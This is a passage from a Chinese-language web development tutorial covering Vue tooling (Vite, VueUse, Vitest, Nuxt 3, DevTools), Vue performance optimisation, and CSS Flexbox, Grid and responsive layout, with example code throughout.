// 每个字段用 useField 绑定
const { value: name } = useField('name')
const { value: email } = useField('email')
const { value: password } = useField('password')
const { value: confirmPassword } = useField('confirmPassword')

const onSubmit = handleSubmit(async (values) => {
  await fetch('/api/register', { method: 'POST', body: JSON.stringify(values) })
})
VeeValidate vs 手写校验

简单表单(2-3 个字段)用 Zod 手写校验就够了。复杂表单(5+ 字段、动态字段、跨字段校验)推荐 VeeValidate——它自动处理错误显示、焦点定位、脏状态追踪、异步校验等。

26. Vue 生态工具链

Vite:Vue 的默认构建工具

// Vite 是 Vue 团队开发的下一代构建工具
// 特点:开发服务器启动极快(ESM 原生加载)、HMR 热更新毫秒级

// 创建 Vue 项目
pnpm create vue@latest
cd my-vue-app
pnpm install
pnpm dev

// vite.config.ts
import { defineConfig } from 'vite'
import vue from '@vitejs/plugin-vue'

export default defineConfig({
  plugins: [vue()],
  server: {
    proxy: {
      '/api': 'http://localhost:8000'
    }
  },
  build: {
    rollupOptions: {
      output: {
        manualChunks: {
          vue: ['vue', 'vue-router', 'pinia'],
          vendor: ['axios', 'dayjs']
        }
      }
    }
  }
})

VueUse:实用组合式函数库

// 安装:pnpm add @vueuse/core
import { useMouse, useLocalStorage, useDark, useToggle } from '@vueuse/core'

// 鼠标位置
const { x, y } = useMouse()

// 本地存储(自动同步)
const token = useLocalStorage('token', '')

// 深色模式
const isDark = useDark()
const toggleDark = useToggle(isDark)

// 窗口大小
const { width, height } = useWindowSize()

// 网络状态
const { isOnline } = useNetwork()

VueUse 进阶用法

import {
  useFetch, useAsyncState, useIntersectionObserver,
  usePermission, useClipboard, useShare, useMediaQuery,
  useDebounceFn, useThrottleFn, useIntervalFn
} from '@vueuse/core'

// 1. 数据请求(带缓存和自动刷新)
const { data, error, isFetching } = useFetch('/api/users', {
  refetch: true,          // 窗口重新聚焦时自动刷新
  initialData: [],        // 初始数据
  timeout: 5000           // 5 秒超时
}).json()

// 2. 异步状态管理(替代手动 loading/error 模式)
const { state, isReady, isLoading, error } = useAsyncState(
  fetch('/api/config').then(r => r.json()),
  {},                      // 默认值
  { delay: 200 }           // 200ms 后才显示 loading
)

// 3. 元素可见性检测(懒加载、埋点曝光)
const target = ref(null)
const { isSupported, stop } = useIntersectionObserver(
  target,
  ([entry]) => {
    if (entry.isIntersecting) {
      console.log('元素进入视口,触发埋点')
      stop()  // 只触发一次
    }
  },
  { threshold: 0.5 }  // 50% 可见时触发
)

// 4. 剪贴板与分享
const { text, copy, isSupported: canCopy } = useClipboard()
const { share, isSupported: canShare } = useShare()

function handleShare() {
  share({ title: '我的应用', url: window.location.href })
}

// 5. 响应式媒体查询(替代 window.matchMedia)
const isMobile = useMediaQuery('(max-width: 768px)')
const isDarkMode = useMediaQuery('(prefers-color-scheme: dark)')
const prefersReducedMotion = useMediaQuery('(prefers-reduced-motion: reduce)')

// 6. 防抖与节流
const handleSearch = useDebounceFn((keyword) => {
  fetch(`/api/search?q=${keyword}`)
}, 300)  // 输入停止 300ms 后才发请求

const handleScroll = useThrottleFn(() => {
  console.log('每 200ms 最多执行一次')
}, 200)

// 7. 定时器(自动清理)
const { pause, resume, isActive } = useIntervalFn(() => {
  console.log('每秒执行一次,组件卸载时自动清理')
}, 1000)
VueUse 的设计哲学

VueUse 的每个函数都是一个独立的"组合式函数"(Composable),按需引入,tree-shake 友好。它的核心价值是:1)把浏览器 API 封装成响应式的(如 useMediaQuery 返回 ref);2)自动处理生命周期清理(定时器、事件监听、IntersectionObserver);3)统一的 SSR 安全处理(服务端渲染时不报错)。超过 200 个函数,覆盖绝大多数常见场景。

环境变量 import.meta.env

// Vite 使用 import.meta.env(不是 process.env)访问环境变量
// 只有以 VITE_ 开头的变量才会暴露给客户端代码

// .env                # 所有环境加载
// .env.development    # 仅开发环境
// .env.production     # 仅生产环境
// .env.local          # 所有环境加载,被 gitignore(本地覆盖)

// .env.development 示例
VITE_API_BASE_URL=http://localhost:3000/api
VITE_APP_TITLE=我的应用(开发版)
VITE_WS_URL=ws://localhost:3000/ws

// .env.production 示例
VITE_API_BASE_URL=https://api.example.com
VITE_APP_TITLE=我的应用
VITE_WS_URL=wss://api.example.com/ws

// 在 Vue 代码中使用
console.log(import.meta.env.VITE_API_BASE_URL)
console.log(import.meta.env.MODE)          // 'development' 或 'production'
console.log(import.meta.env.PROD)          // true / false
console.log(import.meta.env.DEV)           // true / false
console.log(import.meta.env.SSR)           // true / false(是否在服务端渲染)

// 实际使用:axios 基础配置
import axios from 'axios'

const api = axios.create({
  baseURL: import.meta.env.VITE_API_BASE_URL,
  timeout: 10000
})

// TypeScript 中扩展类型(env.d.ts)
/// <reference types="vite/client" />

interface ImportMetaEnv {
  readonly VITE_API_BASE_URL: string
  readonly VITE_APP_TITLE: string
  readonly VITE_WS_URL: string
}

interface ImportMeta {
  readonly env: ImportMetaEnv
}
环境变量安全

永远不要把密钥(API Secret、数据库密码)写在 .env 文件中。前端代码是公开的,任何 VITE_ 前缀的变量都会被打包到浏览器中。敏感配置必须通过后端 API 中转。区分三个文件:1).env——公共配置(所有环境共享);2).env.local——本地覆盖(gitignore);3).env.development / .env.production——环境专属。

Vitest:Vue 组件测试

# 安装
pnpm add -D vitest @vue/test-utils @testing-library/vue jsdom

# vitest.config.ts
import { defineConfig } from 'vitest/config'
import vue from '@vitejs/plugin-vue'

export default defineConfig({
  plugins: [vue()],
  test: {
    globals: true,
    environment: 'jsdom'      // 模拟浏览器 DOM
  }
})

# package.json
{
  "scripts": {
    "test": "vitest",
    "test:run": "vitest run",
    "test:coverage": "vitest --coverage"
  }
}

测试组合式函数

// composables/useCounter.ts
import { ref, computed } from 'vue'

export function useCounter(initial = 0) {
  const count = ref(initial)
  const doubled = computed(() => count.value * 2)
  const increment = () => count.value++
  const decrement = () => count.value--
  const reset = () => { count.value = initial }
  return { count, doubled, increment, decrement, reset }
}

// composables/__tests__/useCounter.test.ts
import { describe, it, expect } from 'vitest'
import { useCounter } from '../useCounter'

describe('useCounter', () => {
  it('should initialize with default value', () => {
    const { count } = useCounter()
    expect(count.value).toBe(0)
  })

  it('should initialize with custom value', () => {
    const { count } = useCounter(10)
    expect(count.value).toBe(10)
  })

  it('should increment', () => {
    const { count, increment } = useCounter()
    increment()
    increment()
    expect(count.value).toBe(2)
  })

  it('should compute doubled value', () => {
    const { count, doubled, increment } = useCounter(5)
    expect(doubled.value).toBe(10)
    increment()
    expect(doubled.value).toBe(12)
  })

  it('should reset to initial value', () => {
    const { count, increment, reset } = useCounter(3)
    increment()
    increment()
    reset()
    expect(count.value).toBe(3)
  })
})

测试 Vue 组件

// components/Counter.vue
<template>
  <div>
    <p>Count: {{ count }}</p>
    <button @click="increment">+1</button>
    <button @click="decrement">-1</button>
  </div>
</template>

<script setup>
import { ref } from 'vue'
const count = ref(0)
const increment = () => count.value++
const decrement = () => count.value--
</script>

// components/__tests__/Counter.test.ts
import { describe, it, expect } from 'vitest'
import { mount } from '@vue/test-utils'
import Counter from '../Counter.vue'

describe('Counter', () => {
  it('should render initial count', () => {
    const wrapper = mount(Counter)
    expect(wrapper.text()).toContain('Count: 0')
  })

  it('should increment on click', async () => {
    const wrapper = mount(Counter)
    await wrapper.findAll('button')[0].trigger('click')
    expect(wrapper.text()).toContain('Count: 1')
  })

  it('should decrement on click', async () => {
    const wrapper = mount(Counter)
    await wrapper.findAll('button')[1].trigger('click')
    expect(wrapper.text()).toContain('Count: -1')
  })

  it('should emit custom events', async () => {
    const wrapper = mount(Counter, {
      props: { modelValue: 0 }
    })
    await wrapper.findAll('button')[0].trigger('click')
    expect(wrapper.emitted('update:modelValue')).toBeTruthy()
  })
})

// 测试异步组件
import { flushPromises } from '@vue/test-utils'

it('should load data on mount', async () => {
  const wrapper = mount(UserList)
  expect(wrapper.find('.loading').exists()).toBe(true)

  await flushPromises()  // 等待所有异步操作完成
  expect(wrapper.find('.loading').exists()).toBe(false)
  expect(wrapper.findAll('li')).toHaveLength(5)
})
Vue 测试策略

1)组合式函数(useXxx)——纯逻辑,直接测试返回值,覆盖率 100%;2)组件——用 @vue/test-utils 的 mount,测试用户交互(点击、输入)和输出(文本、事件);3)Pinia Store——用 createPinia() + setActivePinia() 隔离测试;4)E2E——用 Playwright 测试完整流程(登录→操作→结果)。不要追求 100% 覆盖率,核心业务逻辑(计算、权限、表单校验)必须测试。

Nuxt 3:Vue 的全栈元框架

// Nuxt 3 是 Vue 生态的 SSR 元框架(对标 React 的 Next.js)
// 核心特性:自动路由、服务端渲染(SSR)、服务端 API、自动导入

// 创建项目
npx nuxi init my-app
cd my-app
pnpm install
pnpm dev

// 目录结构
my-app/
├── pages/             # 文件路由(自动生成路由)
│   ├── index.vue      # → /
│   ├── about.vue      # → /about
│   └── users/
│       ├── index.vue  # → /users
│       └── [id].vue   # → /users/:id(动态路由)
├── components/        # 自动注册的组件(无需 import)
├── composables/       # 自动导入的组合式函数
├── layouts/           # 布局组件
├── server/            # 服务端 API
│   └── api/
│       └── users.ts   # → /api/users
├── middleware/        # 路由中间件
├── public/            # 静态资源
├── nuxt.config.ts     # 配置文件
└── app.vue            # 根组件

Nuxt 3 文件路由与布局

// pages/index.vue(自动路由:/)
<template>
  <div>
    <h1>首页</h1>
    <NuxtLink to="/users">用户列表</NuxtLink>
  </div>
</template>

// pages/users/[id].vue(动态路由:/users/:id)
<template>
  <div>
    <h1>用户 {{ user.name }}</h1>
    <p>邮箱:{{ user.email }}</p>
  </div>
</template>

<script setup>
// useRoute 自动可用(无需 import)
const route = useRoute()
const { data: user } = await useFetch(`/api/users/${route.params.id}`)
</script>

// layouts/default.vue(默认布局)
<template>
  <div>
    <nav>
      <NuxtLink to="/">首页</NuxtLink>
      <NuxtLink to="/about">关于</NuxtLink>
    </nav>
    <main>
      <slot />  <!-- 页面内容插入这里 -->
    </main>
    <footer>页脚</footer>
  </div>
</template>

// 指定布局(在页面中)
<script setup>
definePageMeta({
  layout: 'admin'  // 使用 layouts/admin.vue
})
</script>

Nuxt 3 服务端 API

// server/api/users.ts(自动映射为 /api/users)
// GET /api/users
export default defineEventHandler(async (event) => {
  const query = getQuery(event)  // 获取查询参数
  const users = await db.user.findMany({
    skip: (query.page - 1) * 10,
    take: 10
  })
  return users
})

// server/api/users/[id].ts(/api/users/:id)
// GET /api/users/42
export default defineEventHandler(async (event) => {
  const id = getRouterParam(event, 'id')
  const user = await db.user.findUnique({ where: { id } })
  if (!user) {
    throw createError({ statusCode: 404, message: '用户不存在' })
  }
  return user
})

// POST /api/users
export default defineEventHandler(async (event) => {
  const body = await readBody(event)  // 获取请求体
  const user = await db.user.create({ data: body })
  return user
})

// 在前端调用
<script setup>
// 自动使用 /api 前缀
const { data: users } = await useFetch('/api/users', {
  query: { page: 1 }
})

// 或用 $fetch(不需要 useFetch 的场景)
const createUser = async () => {
  const user = await $fetch('/api/users', {
    method: 'POST',
    body: { name: '张三', email: 'zhangsan@example.com' }
  })
}
</script>

Nuxt 3 数据获取与 SEO

// useFetch:Nuxt 专用的数据获取(自动 SSR + 客户端缓存)
const { data, pending, error, refresh } = await useFetch('/api/posts', {
  query: { page: 1, limit: 20 },
  transform: (data) => data.items,   // 转换数据
  watch: [page],                      // page 变化时自动重新请求
  getCachedData: (key, nuxt) => {     // 客户端缓存策略
    return nuxt.payload.data[key] || null
  }
})

// useAsyncData:更灵活的数据获取
const { data: stats } = await useAsyncData('stats', async () => {
  const [users, posts, comments] = await Promise.all([
    $fetch('/api/stats/users'),
    $fetch('/api/stats/posts'),
    $fetch('/api/stats/comments')
  ])
  return { users, posts, comments }
})

// SEO:useHead 和 useSeoMeta
useHead({
  title: '我的应用',
  meta: [
    { name: 'description', content: '这是我的应用描述' }
  ],
  link: [
    { rel: 'icon', type: 'image/png', href: '/favicon.png' }
  ]
})

// 动态 SEO(更推荐的写法)
useSeoMeta({
  title: () => `${user.value.name} - 个人主页`,
  ogTitle: () => `${user.value.name} - 个人主页`,
  description: () => user.value.bio,
  ogImage: () => user.value.avatar
})
Nuxt 3 vs 手动配置 Vue SSR

Nuxt 3 的价值不只是 SSR——它是一个"约定大于配置"的全栈框架:1)自动路由——不用手动写路由配置,pages 目录即路由;2)自动导入——ref、computed、useRoute 等无需 import;3)服务端 API——server/api/ 目录直接写后端接口,不需要单独的后端项目;4)Nitro 引擎——部署到 Node、Deno、Cloudflare Workers、Vercel 等任何平台。如果你的 Vue 应用需要 SEO(博客、电商、官网),Nuxt 3 是首选。

Vue DevTools

// Vue DevTools 是 Vue 开发的必备调试工具
// 两种使用方式:

// 1. 浏览器扩展(推荐)
// Chrome / Edge:在扩展商店搜索 "Vue.js DevTools" 安装
// Firefox:同样在附加组件商店搜索安装
// 安装后,F12 打开 DevTools 会出现 "Vue" 面板

// 2. 独立应用(适合调试 SSR、移动端、Electron)
pnpm add -D @vue/devtools
// 在 main.ts 中引入
import { devtools } from '@vue/devtools'
devtools.connect('localhost', 8098)

// Vue DevTools 核心功能:

// 组件树(Components)
// - 实时查看组件层级结构
// - 点击组件查看 props、data、computed、refs 的值
// - 直接修改值并实时更新页面(调试利器)
// - 搜索组件(按名称或 DOM 元素)

// 性能分析(Profiler)
// - 记录组件渲染耗时
// - 找出渲染次数最多的组件
// - 对比两次渲染的差异

// 状态管理(Pinia / Vuex)
// - 实时查看 Store 中的状态
// - 查看状态变更历史(时间旅行调试)
// - 直接修改 Store 值

// 路由(Router)
// - 查看当前路由信息
// - 查看路由历史记录
// - 查看路由守卫执行顺序

// 时间线(Timeline)
// - 查看组件事件触发顺序
// - 查看自定义事件
// - 性能时间线
Vue DevTools 调试技巧

1)快速定位组件——点击 DevTools 左上角的"选择元素"图标,然后点击页面上的元素,自动定位到对应的组件;2)修改数据——在组件面板中直接修改 ref/reactive 的值,页面实时更新,不用改代码重新编译;3)性能分析——打开 Profiler 面板,操作页面,找出渲染超过 16ms 的组件(掉帧的罪魁祸首);4)Pinia 调试——在 Store 面板中查看所有 Store 的状态和变更历史,比 console.log 高效 10 倍。

VueUse 更多实用组合式函数

import {
  useStorage, useElementVisibility, useOnline,
  useBattery, useTitle, useFavicon, useTransition,
  useInfiniteScroll, useVirtualList
} from '@vueuse/core'

// 响应式 localStorage/sessionStorage(自动序列化对象)
const settings = useStorage('app-settings', { theme: 'light', lang: 'zh' })

// 元素是否在视口内(懒加载图片、曝光埋点)
const banner = ref(null)
const isVisible = useElementVisibility(banner)

// 网络在线状态
const isOnline = useOnline()

// 电池状态
const { charging, level } = useBattery()

// 动态页面标题
const title = useTitle('我的应用')  // title.value = '新标题' 自动更新 document.title

// 数值过渡动画(计数器、进度条)
const source = ref(0)
const output = useTransition(source, { duration: 1000 })
// source.value = 100 → output 从 0 平滑过渡到 100

// 无限滚动加载
const container = ref(null)
useInfiniteScroll(container, () => loadMore(), { distance: 10 })

// 虚拟列表(10000 条数据高性能渲染,只渲染可见区域)
const { list, containerProps, wrapperProps } = useVirtualList(
  allItems,           // 大数组
  { itemHeight: 40 }  // 每行高度
)

Nuxt 3 中间件与插件

// middleware/auth.ts(路由中间件——鉴权守卫)
export default defineNuxtRouteMiddleware((to, from) => {
  const token = useCookie('token')
  if (!token.value && to.path.startsWith('/admin')) {
    return navigateTo('/login')
  }
})

// 在页面中使用
definePageMeta({ middleware: 'auth' })

// plugins/api.ts(全局插件——注入通用能力)
export default defineNuxtPlugin(() => {
  const config = useRuntimeConfig()
  const api = $fetch.create({
    baseURL: config.public.apiBase,
    onRequest({ options }) {
      const token = useCookie('token')
      if (token.value) {
        options.headers.set('Authorization', `Bearer ${token.value}`)
      }
    }
  })
  return { provide: { api } }  // 使用:const { $api } = useNuxtApp()
})

Nuxt 3 部署与环境变量

// nuxt.config.ts 部署配置
export default defineConfig({
  nitro: { prerender: { routes: ['/sitemap.xml'] } }  // SSG 预渲染
})

// 部署命令
// SSR:pnpm build → .output/ 目录(Node 服务器运行)
// SSG:pnpm generate → .output/public/ 目录(纯静态文件,可托管到 CDN)

// 环境变量(服务端专用,不暴露给客户端)
// .env
DATABASE_URL=postgresql://...
NUXT_SECRET_KEY=xxx                // 仅服务端可访问
NUXT_PUBLIC_API_BASE=/api          // public 前缀才会暴露给客户端

// 在服务端 API 中使用
const dbUrl = useRuntimeConfig().databaseUrl   // 浏览器中无法访问
import.meta.env 高级技巧

1)条件配置——根据 import.meta.env.MODE 加载不同逻辑(开发用 Mock,生产用真实 API);2)构建时注入——define: { __BUILD_TIME__: JSON.stringify(new Date().toISOString()) } 在代码中使用构建时间戳;3)类型安全——始终在 env.d.ts 中声明所有环境变量的类型,避免拼写错误;4)安全边界——VITE_ 前缀变量会被打包进前端代码,密钥只能通过后端 API 中转,永远不要写在 .env 中。

27. Vue 性能优化

Vue 的响应式系统已经很高效了——它精确追踪每个组件依赖了哪些数据,只在数据变化时重新渲染相关组件。但在大型应用中,仍然有一些常见的性能陷阱需要注意。

一个类比

Vue 的响应式系统就像一个精确的快递员——只把包裹送给收件人。但如果你在模板里写了一个巨大的列表(10000 项),快递员虽然精确,但包裹太多了。性能优化就是"减少不必要的包裹"和"只送当前需要的包裹"。

v-show vs v-if:条件渲染的选择

<!-- v-if:条件为 false 时完全不渲染(DOM 中不存在) -->
<!-- 适合:切换频率低的场景(弹窗、Tab 内容) -->
<div v-if="showDialog">对话框内容</div>

<!-- v-show:始终渲染,用 CSS display 控制显示 -->
<!-- 适合:频繁切换的场景(Tab 切换、手风琴) -->
<div v-show="isActive">标签页内容</div>

<!-- 区别:v-if 有更高的切换开销(销毁/重建 DOM),v-show 有更高的初始渲染开销 -->
<!-- 规则:切换频率高用 v-show,切换频率低用 v-if -->

v-for 的 key 问题

<!-- ❌ 用 index 作为 key(可能导致 bug) -->
<li v-for="(item, index) in items" :key="index">

<!-- ✅ 用唯一 ID 作为 key -->
<li v-for="item in items" :key="item.id">

<!-- 为什么不能用 index? -->
<!-- 当列表项顺序变化时(排序、插入、删除),index 会变,导致 Vue 错误地复用 DOM -->
<!-- 例如:删除第一项后,原来第二项的 index 从 1 变成 0,Vue 会认为它没变化 -->
<!-- 结果:输入框的值、滚动位置、动画状态可能错乱 -->

shallowRef / shallowReactive:大对象优化

import { shallowRef, triggerRef } from 'vue'

// 普通 ref:深度响应式,对象的每个属性变化都会触发更新
const data = ref({ list: [/* 10000 条 */], total: 10000 })

// shallowRef:只有 .value 整体替换时才触发更新
const data = shallowRef({ list: [/* 10000 条 */], total: 10000 })

// 修改属性不会触发更新(性能好!)
data.value.list.push(newItem)  // ❌ 不触发更新

// 整体替换才触发更新
data.value = { ...data.value, list: [...data.value.list, newItem] }  // ✅ 触发更新

// 如果确实需要手动触发更新
data.value.list.push(newItem)
triggerRef(data)  // 手动触发

// 使用场景:
// 1. 大型列表(1000+ 项)
// 2. 第三方库返回的数据(ECharts 配置、地图数据)
// 3. 不需要深度监听的复杂对象

组件懒加载

import { defineAsyncComponent } from 'vue'

// 基础用法
const HeavyEditor = defineAsyncComponent(() =>
  import('./components/HeavyEditor.vue')
)

// 带加载状态和错误处理
const HeavyChart = defineAsyncComponent({
  loader: () => import('./components/HeavyChart.vue'),
  loadingComponent: LoadingSpinner,
  errorComponent: ErrorDisplay,
  delay: 200,       // 200ms 后才显示 loading(避免闪烁)
  timeout: 10000    // 10 秒超时
})

// 路由级别懒加载(最常用)
const routes = [
  { path: '/dashboard', component: () => import('./views/Dashboard.vue') },
  { path: '/settings', component: () => import('./views/Settings.vue') }
]

虚拟列表

// 问题:渲染 10000 个列表项,页面卡顿
// 解决:只渲染可见区域的元素(虚拟滚动)

// 推荐库:vue-virtual-scroller
// 安装:pnpm add vue-virtual-scroller

<template>
  <RecycleScroller
    :items="items"
    :item-size="50"
    key-field="id"
    v-slot="{ item }"
  >
    <div class="list-item">{{ item.name }}</div>
  </RecycleScroller>
</template>

// 或者用 @tanstack/vue-virtual(和 React 方案同源)
import { useVirtualizer } from '@tanstack/vue-virtual'

// 10000 个元素,只渲染可见的 20 个,性能从卡顿变流畅
Vue 性能优化优先级

1)先用 Vue DevTools 找出渲染次数最多的组件(不要凭感觉);2)优化模板——避免在模板中创建新对象/数组(:style="{ color: 'red' }" 每次渲染都创建新对象);3)用 v-memo 缓存列表项(Vue 3.2+);4)大对象用 shallowRef;5)最后考虑虚拟列表。记住:过早优化是万恶之源。

v-memo:缓存模板片段

<!-- v-memo:只有依赖变化时才重新渲染(Vue 3.2+) -->
<div v-for="item in list" :key="item.id" v-memo="[item.selected]">
  <p>{{ item.name }}</p>
  <input type="checkbox" :checked="item.selected" />
</div>

<!-- 只有 item.selected 变化时才重新渲染这个 div -->
<!-- item.name 变化不会触发重新渲染(因为不在 v-memo 依赖中) -->
<!-- 适合:大型列表中只有少数字段会变化的场景 -->

keep-alive:组件缓存

<!-- keep-alive 缓存动态组件,避免重复销毁/重建 -->
<keep-alive>
  <component :is="currentTab" />
</keep-alive>

<!-- 配合 include/exclude 精确控制缓存范围 -->
<keep-alive :include="['TabA', 'TabB']" :max="10">
  <router-view />
</keep-alive>

// 缓存的组件会触发 onActivated / onDeactivated 生命周期
import { onActivated, onDeactivated } from 'vue'

onActivated(() => { console.log('组件被激活(从缓存恢复)') })
onDeactivated(() => { console.log('组件被缓存') })

// 注意:keep-alive 会增加内存占用,max 属性限制最大缓存数

markRaw / toRaw:跳过响应式转换

import { markRaw, toRaw, reactive } from 'vue'

// markRaw:标记对象永远不被转为响应式
const chart = markRaw(new ChartClass())  // Chart 实例不追踪
const state = reactive({ chart })         // state 是响应式,但 state.chart 不是

// toRaw:获取响应式对象的原始数据(不产生副作用)
const original = toRaw(state)             // 返回原始对象引用
console.log(original === state)           // false(toRaw 拿到的是未包装的原始对象)

// 使用场景:
// 1. 第三方库实例(ECharts、地图 SDK)—— 避免 Vue 代理破坏内部结构
// 2. 大型只读数据 —— 跳过深度响应式转换开销
// 3. 性能敏感的循环中访问原始数据 —— toRaw 避免代理开销

v-once:静态内容一次性渲染

<!-- v-once:只渲染一次,后续数据变化不再更新 -->
<h1 v-once>{{ title }}</h1>

<!-- 整个子树只渲染一次 -->
<div v-once>
  <p>{{ staticContent }}</p>
  <span>{{ author }}</span>
</div>

<!-- v-memo="[]" 等价于 v-once,但更灵活 -->
<div v-memo="[]">同样的效果,依赖数组为空</div>

// 适用场景:
// 1. 纯展示的静态文本(标题、版权信息)
// 2. 不会变化的计算结果
// 3. 模板中大量静态内容时减少 Virtual DOM 开销

函数式组件

// 函数式组件:无状态、无实例、无生命周期,渲染开销极低
// Vue 3 中用普通函数 + functional 属性声明
function MyIcon(props) {
  return h('svg', { class: 'icon' }, [
    h('use', { href: `#icon-${props.name}` })
  ])
}
MyIcon.props = ['name']
MyIcon.functional = true  // 声明为函数式组件

<!-- 在模板中使用 -->
<MyIcon name="arrow" />

// 适用场景:纯展示型组件(图标、装饰元素、简单包装器)
// 注意:Vue 3 中函数式组件性能优势已大幅缩小,优先考虑可读性

模板编译优化提示

// Vue 3 编译器自动应用多项优化,了解原理有助于写出更快的模板

// 1. hoistStatic(静态提升)—— 编译器自动将静态节点提升到渲染函数外
// 编译前:<div><span>静态文本</span></div>
// 编译后:const _hoisted = createVNode('span', null, '静态文本')
//         render() { return createVNode('div', null, [_hoisted]) }
// 效果:每次渲染复用同一个 VNode,不重新创建

// 2. patchFlags(补丁标记)—— 标记动态绑定类型,跳过不变的部分
// 编译器标记:
//   PatchFlags.TEXT    = 1  → 只有文本是动态的
//   PatchFlags.CLASS   = 2  → 只有 class 是动态的
//   PatchFlags.PROPS   = 16 → 只有特定 props 是动态的
// diff 时只检查标记的部分,其余跳过

// 实践建议:
// ✅ 静态内容和动态内容分离,便于编译器识别
<div class="wrapper">          <!-- class 静态 → 编译器可跳过 -->
  <span :class="dynamicCls">  <!-- 只有此处被标记为动态 -->
    {{ text }}
  </span>
</div>

// ❌ 避免动态根节点(编译器无法优化)
<div :class="[isA ? 'a' : 'b']">整个节点都是动态的</div>
优化检查清单

1)用 keep-alive 缓存频繁切换的路由/组件;2)第三方实例用 markRaw 包裹;3)纯静态内容加 v-once;4)了解编译器自动优化(hoistStatic、patchFlags),写出对编译器友好的模板;5)用 Vue DevTools 的 Performance 面板量化优化效果。

第四部分 · CSS 进阶与工程化

28. Flexbox 与 Grid 布局

Flexbox 和 Grid 是 CSS 两大现代布局系统。Flexbox 适合一维布局(一行或一列),Grid 适合二维布局(行和列同时控制)。

Flexbox 弹性布局

/* 容器属性 */
.container {
  display: flex;
  flex-direction: row;          /* 主轴方向:row | column */
  justify-content: space-between; /* 主轴对齐:flex-start | center | space-between | space-around */
  align-items: center;          /* 交叉轴对齐:flex-start | center | stretch */
  flex-wrap: wrap;              /* 是否换行:nowrap | wrap */
  gap: 16px;                    /* 元素间距 */
}

/* 子元素属性 */
.item {
  flex: 1;              /* 占据剩余空间 */
  flex-shrink: 0;       /* 不缩小 */
  align-self: flex-end; /* 单独设置对齐 */
}

/* 常见布局 */
/* 水平居中 */
.center { display: flex; justify-content: center; align-items: center; }

/* 两端对齐 */
.between { display: flex; justify-content: space-between; align-items: center; }

/* 等分三栏 */
.thirds { display: flex; }
.thirds > * { flex: 1; }

/* 固定 + 自适应 */
.layout { display: flex; }
.sidebar { width: 250px; flex-shrink: 0; }
.content { flex: 1; }

Grid 网格布局

/* 容器属性 */
.grid {
  display: grid;
  grid-template-columns: 200px 1fr 200px;  /* 三列:固定-自适应-固定 */
  grid-template-rows: 60px 1fr 40px;        /* 三行:头-内容-脚 */
  gap: 16px;
}

/* 简写 */
.grid {
  grid-template: "header header header" 60px
                "sidebar main aside" 1fr
                "footer footer footer" 40px
                / 200px 1fr 200px;
}

.header  { grid-area: header; }
.sidebar { grid-area: sidebar; }
.main    { grid-area: main; }
.aside   { grid-area: aside; }
.footer  { grid-area: footer; }

/* 响应式网格(自动填充) */
.auto-grid {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
  gap: 16px;
}
/* 每个格子最小 250px,自动填充,自适应宽度 */
Flex vs Grid 怎么选

一维布局(导航栏、按钮组、卡片列表)用 Flexbox。二维布局(整体页面布局、复杂网格、表单对齐)用 Grid。两者可以嵌套使用——Grid 做大框架,Flex 做内部细节。

CSS Grid Subgrid

/* 子网格:让子元素继承父网格的轨道定义 */
.parent-grid {
  display: grid;
  grid-template-columns: repeat(4, 1fr);
  gap: 16px;
}

.card {
  /* 子元素跨 2 列,并将自己的子元素对齐到父网格 */
  grid-column: span 2;
  display: grid;
  grid-template-columns: subgrid;  /* 继承父网格的列轨道 */
  gap: 8px;
}

/* 子元素自动对齐到父网格线 */
.card-title { grid-column: 1; }
.card-body  { grid-column: 1 / -1; }  /* 跨所有继承的列 */

aspect-ratio 宽高比

/* 无需 padding hack,直接设置宽高比 */
.video-wrapper {
  width: 100%;
  aspect-ratio: 16 / 9;  /* 16:9 视频比例 */
}

.avatar {
  width: 48px;
  aspect-ratio: 1;  /* 正方形 = 1/1 */
  border-radius: 50%;
}

.card-image {
  aspect-ratio: 4 / 3;
  object-fit: cover;  /* 图片裁剪填充 */
}

place-items / place-content 简写

/* place-items: align-items + justify-items(单格内容对齐) */
.center {
  display: grid;
  place-items: center;  /* 水平垂直居中,一行搞定 */
}

/* place-content: align-content + justify-content(整体对齐) */
.grid {
  display: grid;
  grid-template-columns: repeat(3, 200px);
  place-content: center;  /* 网格整体居中 */
}

/* 等价展开 */
.spread {
  display: grid;
  grid-template-columns: repeat(3, 200px);
  place-content: start center;  /* 垂直顶部,水平居中 */
  /* = align-content: start + justify-content: center */
}

实战:Dashboard 网格布局

.dashboard {
  display: grid;
  grid-template:
    "header  header  header" 60px
    "sidebar main    aside"  1fr
    "sidebar stats   aside"  auto
    / 240px  1fr     280px;
  gap: 16px;
  height: 100vh;
}

.header  { grid-area: header;  display: flex; align-items: center; }
.sidebar { grid-area: sidebar; overflow-y: auto; }
.main    { grid-area: main;    overflow-y: auto; }
.aside   { grid-area: aside;   overflow-y: auto; }
.stats   { grid-area: stats;   display: flex; gap: 12px; }

/* 统计卡片用 subgrid 对齐 */
.stat-card {
  flex: 1;
  display: grid;
  grid-template-rows: subgrid;
  grid-row: span 2;  /* 跨两行 */
}

/* 响应式:平板隐藏侧边栏,手机单列 */
@media (max-width: 1024px) {
  .dashboard {
    grid-template:
      "header" 60px
      "main"   1fr
      "stats"  auto
      / 1fr;
  }
  .sidebar, .aside { display: none; }
}

@media (max-width: 640px) {
  .stats { flex-direction: column; }
}
Grid 布局调试技巧

Chrome DevTools 中点击 Grid 图标可以显示网格线编号和区域名称。使用 grid-template-areas 命名区域比用数字编号更直观、更容易维护。记住:Grid 做页面大框架,Flex 做组件内部细节,两者互补而非替代。

29. 响应式设计

响应式设计让页面在手机、平板、电脑上都有好的显示效果。

媒体查询

/* 移动优先:先写移动端样式,再用 min-width 覆盖大屏样式 */
.container {
  padding: 16px;        /* 手机 */
}

@media (min-width: 768px) {
  .container {
    padding: 24px;      /* 平板 */
    max-width: 720px;
    margin: 0 auto;
  }
}

@media (min-width: 1024px) {
  .container {
    padding: 32px;      /* 电脑 */
    max-width: 960px;
  }
}

@media (min-width: 1280px) {
  .container {
    max-width: 1200px;  /* 大屏 */
  }
}

容器查询(2026 年新特性)

/* 媒体查询根据视口宽度,容器查询根据父元素宽度 */
/* 更灵活——同一个组件在不同容器中可以有不同的样式 */

.card-container {
  container-type: inline-size;
}

@container (min-width: 400px) {
  .card {
    display: flex;        /* 容器够宽时横向排列 */
    gap: 16px;
  }
}

@container (max-width: 399px) {
  .card {
    display: block;       /* 容器窄时纵向排列 */
  }
}

clamp() 流式排版

/* clamp(最小值, 首选值, 最大值) —— 让尺寸在一定范围内随视口平滑缩放 */
/* 告别一堆 media query 来回切换字体大小 */

